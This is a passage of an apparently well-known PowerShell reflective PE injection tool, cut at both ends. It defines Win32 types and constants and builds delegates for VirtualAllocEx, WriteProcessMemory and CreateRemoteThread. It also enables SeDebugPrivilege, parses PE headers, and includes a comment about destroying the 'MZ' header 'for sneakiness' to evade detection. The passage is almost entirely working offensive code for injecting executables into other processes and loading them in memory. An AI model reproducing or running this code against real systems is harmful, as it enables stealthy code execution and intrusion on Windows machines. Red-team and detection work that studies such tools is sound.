TOKEN_PRIVILEGES $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES return $Win32Types } Function Get-Win32Constants { $Win32Constants = New-Object System.Object $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000 $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000 $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100 $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000 $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008 $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020 $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2 $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0 return $Win32Constants } Function Get-Win32Functions { $Win32Functions = New-Object System.Object $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr]) $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy $memsetAddr = Get-ProcAddress msvcrt.dll memset $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr]) $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress $GetProcAddressOrdinalAddr = Get-ProcAddress kernel32.dll GetProcAddress $GetProcAddressOrdinalDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr]) $GetProcAddressOrdinal = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressOrdinalAddr, $GetProcAddressOrdinalDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressOrdinal -Value $GetProcAddressOrdinal $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool]) $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool]) $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate) $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate) $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr]) $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate) $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary $FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr]) $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32]) $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool]) $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool]) $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr]) $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool]) $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool]) $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool]) $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32]) $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr]) $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread $LocalFreeAddr = Get-ProcAddress kernel32.dll VirtualFree $LocalFreeDelegate = Get-DelegateType @([IntPtr]) $LocalFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LocalFreeAddr, $LocalFreeDelegate) $Win32Functions | Add-Member NoteProperty -Name LocalFree -Value $LocalFree return $Win32Functions } ##################################### ##################################### ########### HELPERS ############ ##################################### #Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function #This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses Function Sub-SignedIntAsUnsigned { Param( [Parameter(Position = 0, Mandatory = $true)] [Int64] $Value1, [Parameter(Position = 1, Mandatory = $true)] [Int64] $Value2 ) [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) if ($Value1Bytes.Count -eq $Value2Bytes.Count) { $CarryOver = 0 for ($i = 0; $i -lt $Value1Bytes.Count; $i++) { $Val = $Value1Bytes[$i] - $CarryOver #Sub bytes if ($Val -lt $Value2Bytes[$i]) { $Val += 256 $CarryOver = 1 } else { $CarryOver = 0 } [UInt16]$Sum = $Val - $Value2Bytes[$i] $FinalBytes[$i] = $Sum -band 0x00FF } } else { Throw "Cannot subtract bytearrays of different sizes" } return [BitConverter]::ToInt64($FinalBytes, 0) } Function Add-SignedIntAsUnsigned { Param( [Parameter(Position = 0, Mandatory = $true)] [Int64] $Value1, [Parameter(Position = 1, Mandatory = $true)] [Int64] $Value2 ) [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) if ($Value1Bytes.Count -eq $Value2Bytes.Count) { $CarryOver = 0 for ($i = 0; $i -lt $Value1Bytes.Count; $i++) { #Add bytes [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver $FinalBytes[$i] = $Sum -band 0x00FF if (($Sum -band 0xFF00) -eq 0x100) { $CarryOver = 1 } else { $CarryOver = 0 } } } else { Throw "Cannot add bytearrays of different sizes" } return [BitConverter]::ToInt64($FinalBytes, 0) } Function Compare-Val1GreaterThanVal2AsUInt { Param( [Parameter(Position = 0, Mandatory = $true)] [Int64] $Value1, [Parameter(Position = 1, Mandatory = $true)] [Int64] $Value2 ) [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) if ($Value1Bytes.Count -eq $Value2Bytes.Count) { for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--) { if ($Value1Bytes[$i] -gt $Value2Bytes[$i]) { return $true } elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i]) { return $false } } } else { Throw "Cannot compare byte arrays of different size" } return $false } Function Convert-UIntToInt { Param( [Parameter(Position = 0, Mandatory = $true)] [UInt64] $Value ) [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value) return ([BitConverter]::ToInt64($ValueBytes, 0)) } Function Test-MemoryRangeValid { Param( [Parameter(Position = 0, Mandatory = $true)] [String] $DebugString, [Parameter(Position = 1, Mandatory = $true)] [System.Object] $PEInfo, [Parameter(Position = 2, Mandatory = $true)] [IntPtr] $StartAddress, [Parameter(ParameterSetName = "EndAddress", Position = 3, Mandatory = $true)] [IntPtr] $EndAddress, [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] [IntPtr] $Size ) [IntPtr]$FinalEndAddress = [IntPtr]::Zero if ($PsCmdlet.ParameterSetName -eq "Size") { [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) } else { $FinalEndAddress = $EndAddress } $PEEndAddress = $PEInfo.EndAddress if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true) { Throw "Trying to write to memory smaller than allocated address range. $DebugString" } if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true) { Throw "Trying to write to memory greater than allocated address range. $DebugString" } } Function Write-BytesToMemory { Param( [Parameter(Position=0, Mandatory = $true)] [Byte[]] $Bytes, [Parameter(Position=1, Mandatory = $true)] [IntPtr] $MemoryAddress ) for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++) { [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset]) } } #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ Function Get-DelegateType { Param ( [OutputType([Type])] [Parameter( Position = 0)] [Type[]] $Parameters = (New-Object Type[](0)), [Parameter( Position = 1 )] [Type] $ReturnType = [Void] ) $Domain = [AppDomain]::CurrentDomain $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) $MethodBuilder.SetImplementationFlags('Runtime, Managed') Write-Output $TypeBuilder.CreateType() } #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ Function Get-ProcAddress { Param ( [OutputType([IntPtr])] [Parameter( Position = 0, Mandatory = $True )] [String] $Module, [Parameter( Position = 1, Mandatory = $True )] [String] $Procedure ) # Get a reference to System.dll in the GAC $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') # Get a reference to the GetModuleHandle and GetProcAddress methods $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') # Get a handle to the module specified $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) $tmpPtr = New-Object IntPtr $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) # Return the address of the function Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) } Function Enable-SeDebugPrivilege { Param( [Parameter(Position = 1, Mandatory = $true)] [System.Object] $Win32Functions, [Parameter(Position = 2, Mandatory = $true)] [System.Object] $Win32Types, [Parameter(Position = 3, Mandatory = $true)] [System.Object] $Win32Constants ) [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke() if ($ThreadHandle -eq [IntPtr]::Zero) { Throw "Unable to get the handle to the current thread" } [IntPtr]$ThreadToken = [IntPtr]::Zero [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) if ($Result -eq $false) { $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) { $Result = $Win32Functions.ImpersonateSelf.Invoke(3) if ($Result -eq $false) { Throw "Unable to impersonate self" } $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) if ($Result -eq $false) { Throw "Unable to OpenThreadToken." } } else { Throw "Unable to OpenThreadToken. Error code: $ErrorCode" } } [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID)) $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid) if ($Result -eq $false) { Throw "Unable to call LookupPrivilegeValue" } [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES) [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES) $TokenPrivileges.PrivilegeCount = 1 $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID) $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true) $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value if (($Result -eq $false) -or ($ErrorCode -ne 0)) { #Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode" #todo need to detect if already set } [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem) } Function Invoke-CreateRemoteThread { Param( [Parameter(Position = 1, Mandatory = $true)] [IntPtr] $ProcessHandle, [Parameter(Position = 2, Mandatory = $true)] [IntPtr] $StartAddress, [Parameter(Position = 3, Mandatory = $false)] [IntPtr] $ArgumentPtr = [IntPtr]::Zero, [Parameter(Position = 4, Mandatory = $true)] [System.Object] $Win32Functions ) [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero $OSVersion = [Environment]::OSVersion.Version #Vista and Win7 if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))) { Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress" $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero) $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() if ($RemoteThreadHandle -eq [IntPtr]::Zero) { Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError" } } #XP/Win8 else { Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress" $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero) } if ($RemoteThreadHandle -eq [IntPtr]::Zero) { Write-Verbose "Error creating remote thread, thread handle is null" } return $RemoteThreadHandle } Function Get-ImageNtHeaders { Param( [Parameter(Position = 0, Mandatory = $true)] [IntPtr] $PEHandle, [Parameter(Position = 1, Mandatory = $true)] [System.Object] $Win32Types ) $NtHeadersInfo = New-Object System.Object #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER) #Get IMAGE_NT_HEADERS [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew)) $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64) #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen. if ($imageNtHeaders64.Signature -ne 0x00004550) { throw "Invalid IMAGE_NT_HEADER signature." } if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC') { $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64 $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true } else { $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32) $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32 $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false } return $NtHeadersInfo } #This function will get the information needed to allocated space in memory for the PE Function Get-PEBasicInfo { Param( [Parameter( Position = 0, Mandatory = $true )] [Byte[]] $PEBytes, [Parameter(Position = 1, Mandatory = $true)] [System.Object] $Win32Types ) $PEInfo = New-Object System.Object #Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot. [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length) [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null #Get NtHeadersInfo $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types #Build a structure with the information which will be needed for allocating memory and writing the PE to memory $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit) $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase) $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders) $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics) #Free the memory allocated above, this isn't where we allocate the PE to memory [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes) return $PEInfo } #PEInfo must contain the following NoteProperties: # PEHandle: An IntPtr to the address the PE is loaded to in memory Function Get-PEDetailedInfo { Param( [Parameter( Position = 0, Mandatory = $true)] [IntPtr] $PEHandle, [Parameter(Position = 1, Mandatory = $true)] [System.Object] $Win32Types, [Parameter(Position = 2, Mandatory = $true)] [System.Object] $Win32Constants ) if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero) { throw 'PEHandle is 